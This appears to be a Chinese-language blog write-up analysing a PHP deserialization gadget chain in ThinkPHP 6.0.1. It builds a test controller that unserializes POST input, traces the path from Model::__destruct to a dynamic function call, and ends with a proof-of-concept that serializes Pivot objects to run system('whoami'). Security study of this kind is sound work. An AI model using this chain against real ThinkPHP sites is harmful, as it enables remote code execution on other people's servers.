环境搭建
Phpstudy:
- OS:
Windows - PHP:
7.3.4 - ThinkPHP:
6.0.1
创建测试环境:
composer create-projec topthink/think:6.0.* tp6.0.1
之后进入composer.json 修改"topthink/framework": "6.0.1" ,再执行composer update
创建入口点:
app/controller/Index.php
<?php
namespace app\controller;
use app\BaseController;
class Index extends BaseController
{
public function index()
{
if(isset($_POST['data'])){
unserialize($_POST['data']);
}else{
highlight_file(__FILE__);
}
}
}
漏洞分析
在 ThinkPHP5.x 的POP链中,入口都是 think\process\pipes\Windows 类,通过该类触发任意类的 __toString 方法。但是 ThinkPHP6.x 的代码移除了 think\process\pipes\Windows 类,而POP链 __toString 之后的 Gadget 仍然存在,所以我们得继续寻找可以触发 __toString 方法的点。
首先需要找__destruct 函数,可利用的函数在vendor\topthink\think-orm\src\Model.php

满足$this->lazySave 为true则进入save() 函数,跟进

这里需要满足if语句为真才能进入下一步,跟进一下这两个函数
对于$this->isEmpty() ,需要满足$this->data 不为空

对于$this->trigger() ,满足$this->withEvent == false 即可返回true

之后就进入到
$result = $this->exists ? $this->updateData() : $this->insertData($sequence);
根据大师傅们的路线,updateData() 方法可继续利用,这里需要满足$this->exists=true
跟进updateData() 方法

我们的利用点在checkAllowFields() ,需要满足前面两个if语句
经过分析需满足
$this->withEvent == false $this->force == true ,并且$this-data 不为空
接下来跟进checkAllowFields() 函数

我们需要进入$this->db() ,同样需要满足前面的if语句,而这两个参数默认为空,无需构造
跟进db()

这里进行了字符串拼接,并且两个值可控,那么就可以触发__toString() 方法
全局搜索__toString() 方法,利用点在vendor\topthink\think-orm\src\model\concern\Conversion.php

跟进toJson()

跟进toArray()

对$data 进行遍历,$data 来自$this->data ,默认情况下进入第二个elseif语句,$key 作为参数调用getAttr() 函数,继续跟进:

查看getData 方法

这里$name 就是传入的$key ,跟进getRealFieldName() 方法

最终getAttr() 返回值是
return $this->getValue($name, $value, $relation);
参数$name 则是从toArray() 传进来的$key ,而参数$value 的值就是$this->data[$key]
跟进getValue()

最终利用点在
$value = $closure($value, $this->data);
当$this->withAttr 数组存在和$date 一样的键$key ,并且这个键对应的值不能为数组,就会把$this->withAttr[$key] (withAttr 数组$key 键对应的值)当做函数名动态执行,参数为$this->date[$key]
我们控制:
$this->withAttr = ["key" => "system"];
$this->data = ["key" => "whoami"];
最终就可以RCE
POP链构造
整体的利用链
__destruct
↓
save()
↓
updateData()
↓
checkAllowFields()
↓
db()
↓
name($this->name . $this->suffix)
↓
__toString()
↓
toJson()
↓
toArray()
↓
getAttr()
↓
getValue()
↓
$closure = $this->withAttr[$fieldName];
$value = $closure($value, $this->data);
需要注意的是Model 类是抽象类,不能实例化。得找出Model 类的一个子类进行实例化,这里可以用Pivot 类进行利用。
最终构造POC:
<?php
namespace think\model\concern;
trait Attribute
{
private $data = ["snakin" => "whoami"];
private $withAttr = ["snakin" => "system"];
}
namespace think;
abstract class Model
{
use model\concern\Attribute;
private $lazySave;
protected $withEvent;
private $exists;
private $force;
protected $table;
function __construct($obj = '')
{
$this->lazySave = true;
$this->withEvent = false;
$this->exists = true;
$this->force = true;
$this->table = $obj;
}
}
namespace think\model;
use think\Model;
class Pivot extends Model{}
echo urlencode(serialize(new Pivot(new Pivot())));
写在后面
实际测试的时候链子好像已经失效了,github官方也没有commit记录,自己太菜也没发现什么问题(ps.有没有师傅告诉我)呜呜呜,不过链子还是可以分析一下的。
参考链接:
https://blog.csdn.net/rfrder/article/details/114686095
https://blog.csdn.net/qq_42181428/article/details/105777872
|